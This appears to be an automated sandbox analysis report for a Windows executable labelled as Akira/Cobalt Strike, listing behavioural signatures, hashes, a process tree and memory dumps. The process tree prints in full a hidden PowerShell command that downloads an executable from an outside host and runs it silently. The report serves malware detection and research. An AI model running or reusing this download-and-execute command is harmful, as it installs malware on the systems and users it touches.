Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    17/10/2026, 04:30

General

  • Target
    2026-10-16_e44bcec56b08fac43662ca56c4c21b17_akira_cobalt-strike.exe
  • Size 784KB
  • Sample261017-e45qhasw3j
  • SHA256 fed5f5440efb56240875006ddbfe0be2cbd4139bc4376f7e488916b5e031e1b3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-16_e44bcec56b08fac43662ca56c4c21b17_akira_cobalt-strike.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-16_e44bcec56b08fac43662ca56c4c21b17_akira_cobalt-strike.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "& { iwr -Uri 'https://data-miner.cyou/dl/dzaf7rd' -OutFile $env:TEMP\BK877963.exe; Start-Process $env:TEMP\BK877963.exe -WindowStyle Hidden }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1500

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_c0j0dxum.4jj.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c0j0dxum.4jj.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/376-0-0x0000000140000000-0x00000001400C4000-memory.dmp

        memory/376-1-0x0000000140000000-0x00000001400C4000-memory.dmp

        memory/1500-2-0x000002E1E0CF0000-0x000002E1E0D00000-memory.dmp

        memory/1500-8-0x000002E1FAE20000-0x000002E1FAE42000-memory.dmp

        memory/1500-11-0x000002E1FC520000-0x000002E1FCCC6000-memory.dmp

        memory/1500-13-0x000002E1E0CF0000-0x000002E1E0D00000-memory.dmp